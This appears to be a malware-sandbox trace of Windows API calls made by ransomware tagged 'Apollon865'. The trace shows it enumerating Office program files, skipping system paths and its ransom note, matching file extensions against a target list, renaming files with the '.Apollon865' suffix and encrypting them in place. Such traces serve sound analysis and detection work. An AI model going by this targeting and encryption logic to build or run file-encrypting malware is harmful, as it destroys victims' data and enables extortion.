	[0065.767] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0065.767] lstrlenW (lpString="udl") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0065.767] lstrlenW (lpString="usr") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0065.767] lstrlenW (lpString="v12") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0065.767] lstrlenW (lpString="vis") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0065.767] lstrlenW (lpString="vpd") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0065.767] lstrlenW (lpString="vvv") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0065.767] lstrlenW (lpString="wdb") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0065.767] lstrlenW (lpString="wmdb") returned 4
	[0065.767] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0065.767] lstrlenW (lpString="wrk") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0065.767] lstrlenW (lpString="xdb") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0065.767] lstrlenW (lpString="xld") returned 3
	[0065.767] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0065.767] lstrlenW (lpString="xmlff") returned 5
	[0065.768] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1
	[0065.768] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="..") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="windows") returned -1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="bootmgr") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="temp") returned -1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="pagefile.sys") returned -1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="boot") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="ids.txt") returned 1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="ntuser.dat") returned -1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="perflogs") returned -1
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2="MSBuild") returned -1
	[0065.768] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41
	[0065.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll") returned 96
	[0065.768] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.InfoPath.FormControl.dll" | out: lpString1="Microsoft.Office.InfoPath.FormControl.dll") returned="Microsoft.Office.InfoPath.FormControl.dll"
	[0065.768] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41
	[0065.768] lstrlenW (lpString="Apollon865") returned 10
	[0065.768] lstrcmpiW (lpString1="ontrol.dll", lpString2="Apollon865") returned 1
	[0065.768] lstrlenW (lpString=".dll") returned 4
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".dll") returned 1
	[0065.768] lstrlenW (lpString=".lnk") returned 4
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".lnk") returned 1
	[0065.768] lstrlenW (lpString=".ini") returned 4
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".ini") returned 1
	[0065.768] lstrlenW (lpString=".sys") returned 4
	[0065.768] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.FormControl.dll", lpString2=".sys") returned 1
	[0065.768] lstrlenW (lpString="Microsoft.Office.InfoPath.FormControl.dll") returned 41
	[0065.768] lstrlenW (lpString="bak") returned 3
	[0065.768] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0065.768] lstrlenW (lpString="ba_") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0065.769] lstrlenW (lpString="dbb") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0065.769] lstrlenW (lpString="vmdk") returned 4
	[0065.769] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0065.769] lstrlenW (lpString="rar") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0065.769] lstrlenW (lpString="zip") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0065.769] lstrlenW (lpString="tgz") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0065.769] lstrlenW (lpString="vbox") returned 4
	[0065.769] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0065.769] lstrlenW (lpString="vdi") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0065.769] lstrlenW (lpString="vhd") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0065.769] lstrlenW (lpString="vhdx") returned 4
	[0065.769] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0065.769] lstrlenW (lpString="avhd") returned 4
	[0065.769] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0065.769] lstrlenW (lpString="db") returned 2
	[0065.769] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0065.769] lstrlenW (lpString="db2") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0065.769] lstrlenW (lpString="db3") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0065.769] lstrlenW (lpString="dbf") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0065.769] lstrlenW (lpString="mdf") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0065.769] lstrlenW (lpString="mdb") returned 3
	[0065.769] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0065.770] lstrlenW (lpString="sql") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0065.770] lstrlenW (lpString="sqlite") returned 6
	[0065.770] lstrcmpiW (lpString1="ol.dll", lpString2="sqlite") returned -1
	[0065.770] lstrlenW (lpString="sqlite3") returned 7
	[0065.770] lstrcmpiW (lpString1="rol.dll", lpString2="sqlite3") returned -1
	[0065.770] lstrlenW (lpString="sqlitedb") returned 8
	[0065.770] lstrcmpiW (lpString1="trol.dll", lpString2="sqlitedb") returned 1
	[0065.770] lstrlenW (lpString="xml") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0065.770] lstrlenW (lpString="$er") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0065.770] lstrlenW (lpString="4dd") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0065.770] lstrlenW (lpString="4dl") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0065.770] lstrlenW (lpString="^^^") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0065.770] lstrlenW (lpString="abs") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0065.770] lstrlenW (lpString="abx") returned 3
	[0065.770] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0065.770] lstrlenW (lpString="accdb") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1
	[0065.770] lstrlenW (lpString="accdc") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1
	[0065.770] lstrlenW (lpString="accde") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1
	[0065.770] lstrlenW (lpString="accdr") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1
	[0065.770] lstrlenW (lpString="accdt") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1
	[0065.770] lstrlenW (lpString="accdw") returned 5
	[0065.770] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1
	[0065.771] lstrlenW (lpString="accft") returned 5
	[0065.771] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1
	[0065.771] lstrlenW (lpString="adb") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.771] lstrlenW (lpString="adb") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.771] lstrlenW (lpString="ade") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0065.771] lstrlenW (lpString="adf") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0065.771] lstrlenW (lpString="adn") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0065.771] lstrlenW (lpString="adp") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0065.771] lstrlenW (lpString="alf") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0065.771] lstrlenW (lpString="ask") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0065.771] lstrlenW (lpString="btr") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0065.771] lstrlenW (lpString="cat") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0065.771] lstrlenW (lpString="cdb") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0065.771] lstrlenW (lpString="ckp") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0065.771] lstrlenW (lpString="cma") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0065.771] lstrlenW (lpString="cpd") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0065.771] lstrlenW (lpString="dacpac") returned 6
	[0065.771] lstrcmpiW (lpString1="ol.dll", lpString2="dacpac") returned 1
	[0065.771] lstrlenW (lpString="dad") returned 3
	[0065.771] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0065.771] lstrlenW (lpString="dadiagrams") returned 10
	[0065.772] lstrcmpiW (lpString1="ontrol.dll", lpString2="dadiagrams") returned 1
	[0065.772] lstrlenW (lpString="daschema") returned 8
	[0065.772] lstrcmpiW (lpString1="trol.dll", lpString2="daschema") returned 1
	[0065.772] lstrlenW (lpString="db-journal") returned 10
	[0065.772] lstrcmpiW (lpString1="ontrol.dll", lpString2="db-journal") returned 1
	[0065.772] lstrlenW (lpString="db-shm") returned 6
	[0065.772] lstrcmpiW (lpString1="ol.dll", lpString2="db-shm") returned 1
	[0065.772] lstrlenW (lpString="db-wal") returned 6
	[0065.772] lstrcmpiW (lpString1="ol.dll", lpString2="db-wal") returned 1
	[0065.772] lstrlenW (lpString="dbc") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0065.772] lstrlenW (lpString="dbs") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0065.772] lstrlenW (lpString="dbt") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0065.772] lstrlenW (lpString="dbv") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0065.772] lstrlenW (lpString="dbx") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0065.772] lstrlenW (lpString="dcb") returned 3
	[0065.772] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0065.772] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.dll" | out: lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.dll"
	[0065.772] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned 47
	[0065.772] lstrlenW (lpString="Apollon865") returned 10
	[0065.772] lstrcmpiW (lpString1="iTrust.dll", lpString2="Apollon865") returned 1
	[0065.772] lstrlenW (lpString=".dll") returned 4
	[0065.772] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".dll") returned 1
	[0065.772] lstrlenW (lpString=".lnk") returned 4
	[0065.772] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".lnk") returned 1
	[0065.772] lstrlenW (lpString=".ini") returned 4
	[0065.772] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".ini") returned 1
	[0065.773] lstrlenW (lpString=".sys") returned 4
	[0065.773] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".sys") returned 1
	[0065.773] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned 47
	[0065.773] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" | out: lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.xml"
	[0065.773] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 47
	[0065.773] lstrlenW (lpString="Apollon865") returned 10
	[0065.773] lstrcmpiW (lpString1="iTrust.xml", lpString2="Apollon865") returned 1
	[0065.773] lstrlenW (lpString=".dll") returned 4
	[0065.773] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".dll") returned 1
	[0065.773] lstrlenW (lpString=".lnk") returned 4
	[0065.773] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".lnk") returned 1
	[0065.773] lstrlenW (lpString=".ini") returned 4
	[0065.773] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".ini") returned 1
	[0065.773] lstrlenW (lpString=".sys") returned 4
	[0065.773] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".sys") returned 1
	[0065.773] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 47
	[0065.773] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Apollon865") returned 101
	[0065.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.775] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=807525) returned 1
	[0065.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.775] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.775] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.776] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.776] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.776] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5570, lpName=0x0) returned 0x150
	[0065.778] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5570) returned 0x3680000
	[0065.814] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.815] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.815] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0065.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0065.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.816] UnmapViewOfFile (lpBaseAddress=0x3680000) returned 1
	[0065.824] CloseHandle (hObject=0x150) returned 1
	[0065.824] CloseHandle (hObject=0x118) returned 1
	[0065.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0065.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.832] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0065.834] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.834] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.835] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".") returned 1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="..") returned 1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="windows") returned -1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="bootmgr") returned 1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="temp") returned -1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="pagefile.sys") returned -1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="boot") returned 1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="ids.txt") returned 1
	[0065.848] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="ntuser.dat") returned -1
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="perflogs") returned -1
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="MSBuild") returned -1
	[0065.849] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41
	[0065.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 90
	[0065.849] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.Office.Interop.InfoPath.Xml.dll" | out: lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll") returned="Microsoft.Office.Interop.InfoPath.Xml.dll"
	[0065.849] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41
	[0065.849] lstrlenW (lpString="Apollon865") returned 10
	[0065.849] lstrcmpiW (lpString1="th.Xml.dll", lpString2="Apollon865") returned 1
	[0065.849] lstrlenW (lpString=".dll") returned 4
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".dll") returned 1
	[0065.849] lstrlenW (lpString=".lnk") returned 4
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".lnk") returned 1
	[0065.849] lstrlenW (lpString=".ini") returned 4
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".ini") returned 1
	[0065.849] lstrlenW (lpString=".sys") returned 4
	[0065.849] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".sys") returned 1
	[0065.849] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41
	[0065.849] lstrlenW (lpString="bak") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0065.849] lstrlenW (lpString="ba_") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0065.849] lstrlenW (lpString="dbb") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0065.849] lstrlenW (lpString="vmdk") returned 4
	[0065.849] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0065.849] lstrlenW (lpString="rar") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0065.849] lstrlenW (lpString="zip") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0065.849] lstrlenW (lpString="tgz") returned 3
	[0065.849] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0065.849] lstrlenW (lpString="vbox") returned 4
	[0065.850] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0065.850] lstrlenW (lpString="vdi") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0065.850] lstrlenW (lpString="vhd") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0065.850] lstrlenW (lpString="vhdx") returned 4
	[0065.850] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0065.850] lstrlenW (lpString="avhd") returned 4
	[0065.850] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0065.850] lstrlenW (lpString="db") returned 2
	[0065.850] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0065.850] lstrlenW (lpString="db2") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0065.850] lstrlenW (lpString="db3") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0065.850] lstrlenW (lpString="dbf") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0065.850] lstrlenW (lpString="mdf") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0065.850] lstrlenW (lpString="mdb") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0065.850] lstrlenW (lpString="sql") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0065.850] lstrlenW (lpString="sqlite") returned 6
	[0065.850] lstrcmpiW (lpString1="ml.dll", lpString2="sqlite") returned -1
	[0065.850] lstrlenW (lpString="sqlite3") returned 7
	[0065.850] lstrcmpiW (lpString1="Xml.dll", lpString2="sqlite3") returned 1
	[0065.850] lstrlenW (lpString="sqlitedb") returned 8
	[0065.850] lstrcmpiW (lpString1=".Xml.dll", lpString2="sqlitedb") returned -1
	[0065.850] lstrlenW (lpString="xml") returned 3
	[0065.850] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0065.852] lstrlenW (lpString="$er") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0065.852] lstrlenW (lpString="4dd") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0065.852] lstrlenW (lpString="4dl") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0065.852] lstrlenW (lpString="^^^") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0065.852] lstrlenW (lpString="abs") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0065.852] lstrlenW (lpString="abx") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0065.852] lstrlenW (lpString="accdb") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1
	[0065.852] lstrlenW (lpString="accdc") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1
	[0065.852] lstrlenW (lpString="accde") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1
	[0065.852] lstrlenW (lpString="accdr") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1
	[0065.852] lstrlenW (lpString="accdt") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1
	[0065.852] lstrlenW (lpString="accdw") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1
	[0065.852] lstrlenW (lpString="accft") returned 5
	[0065.852] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1
	[0065.852] lstrlenW (lpString="adb") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.852] lstrlenW (lpString="adb") returned 3
	[0065.852] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
